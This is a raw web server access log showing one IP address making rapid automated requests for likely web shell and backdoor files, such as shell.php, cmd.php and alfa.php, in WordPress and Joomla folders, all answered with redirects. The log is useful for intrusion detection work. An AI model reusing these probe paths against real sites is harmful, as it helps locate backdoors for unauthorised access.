[27/Apr/2025:19:21:01 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:02 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:02 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:02 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:02 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:02 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:02 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:03 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:03 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:03 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:03 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:03 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:03 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:04 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:05 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:06 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:07 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:21:08 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:09 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:10 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:11 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:12 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:13 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:13 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:13 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:13 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:13 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:13 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:14 -0400] "GET /wp-admin/alfa.php 